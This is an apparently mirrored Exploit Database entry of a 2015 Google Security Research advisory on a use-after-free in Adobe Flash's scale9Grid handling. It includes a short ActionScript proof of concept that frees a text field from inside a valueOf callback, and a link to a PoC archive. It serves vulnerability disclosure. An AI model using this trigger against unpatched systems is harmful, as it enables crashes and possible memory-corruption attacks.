Adobe Flash – scale9Grid Use-After-Free

• Exploit Database
• 13 阅读

• 作者： Google Security Research
  日期： 2015-08-19
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/37863/

• Source: https://code.google.com/p/google-security-research/issues/detail?id=380&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
  
  There is a use-after-free issue if the scale9Grid setting is called on an object with a member that then frees display item. This issue occurs for both MovieClips and Buttons, it needs to be fixed in both classes.
  
  A PoC is as follows:
  
  var n = { valueOf : func };
  var o = {x:n, y:0,width:10, height:10}
  
  _global.mc = this
  var newmc:MovieClip = this.createEmptyMovieClip("mymc",1)
  mymc.scale9Grid = o
  
  
  function func() {
  	trace("here");
  	var t = _global.mc.createTextField("test",1,1,1,2,3)
  	t.removeTextField()
  	return 7
  }
  
  
  A sample fla and swf is attached.
  
  Proof of Concept:
  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37863.zip